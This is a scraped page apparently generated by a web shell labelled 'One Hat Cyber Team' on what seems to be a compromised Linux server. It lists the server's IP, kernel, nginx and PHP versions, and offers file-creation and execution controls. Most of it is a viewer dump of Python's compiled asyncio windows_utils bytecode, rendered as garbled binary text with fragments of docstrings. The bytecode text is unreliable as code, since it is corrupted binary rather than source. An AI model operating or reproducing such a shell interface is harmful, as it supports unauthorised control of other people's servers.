⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.10
/
asyncio
/
__pycache__
/
View File Name :
windows_utils.cpython-310.pyc
o }5h @ s d Z ddlZejdkredddlZddlZddlZddlZddlZddl Z ddl Z dZdZej Z ejZe Zdded d dZG dd d ZG dd dejZdS )z)Various Windows specific bits and pieces. Nwin32z win32 only)pipePopenPIPE PipeHandlei F)TT)duplex overlappedbufsizec C s t jdt ttd}| rtj}tj tj B }||}}ntj}tj }d|}}|tjO }|d r8|tj O }|d r@tj }nd}d } } z.t||tjd||tjtj} t||dtjtj|tj} tj| dd}|d | | fW S | durt| | durt| )zELike os.pipe() but with overlapped support and using handles not fds.z\\.\pipe\python-pipe-{:d}-{:d}-)prefixr NTr )tempfilemktempformatosgetpidnext _mmap_counter_winapiPIPE_ACCESS_DUPLEXGENERIC_READ GENERIC_WRITEPIPE_ACCESS_INBOUNDFILE_FLAG_FIRST_PIPE_INSTANCEFILE_FLAG_OVERLAPPEDCreateNamedPipe PIPE_WAITNMPWAIT_WAIT_FOREVERNULL CreateFile OPEN_EXISTINGConnectNamedPipeGetOverlappedResultCloseHandle)r r r addressopenmodeaccessobsizeibsizeflags_and_attribsh1h2ov r- ,/usr/lib/python3.10/asyncio/windows_utils.pyr sJ r c @ sb e Zd ZdZdd Zdd Zedd Zdd Ze j d ddZej fd dZdd Zdd ZdS )r zWrapper for an overlapped pipe handle which is vaguely file-object like. The IOCP event loop can use these instead of socket objects. c C s || _ d S N_handleselfhandler- r- r. __init__V s zPipeHandle.__init__c C s2 | j d urd| j }nd}d| jj d| dS )Nzhandle=closed< >)r1 __class____name__r2 r- r- r. __repr__Y s zPipeHandle.__repr__c C s | j S r/ r0 r3 r- r- r. r4 ` s zPipeHandle.handlec C s | j d u r td| j S )NzI/O operation on closed pipe)r1 ValueErrorr= r- r- r. filenod s zPipeHandle.fileno)r# c C s" | j d ur|| j d | _ d S d S r/ r0 )r3 r# r- r- r. closei s zPipeHandle.closec C s. | j d ur|d| t| d | d S d S )Nz unclosed )source)r1 ResourceWarningr@ )r3 _warnr- r- r. __del__n s zPipeHandle.__del__c C s | S r/ r- r= r- r- r. __enter__s s zPipeHandle.__enter__c C s | d S r/ )r@ )r3 tvtbr- r- r. __exit__v s zPipeHandle.__exit__N)r; __module____qualname____doc__r5 r<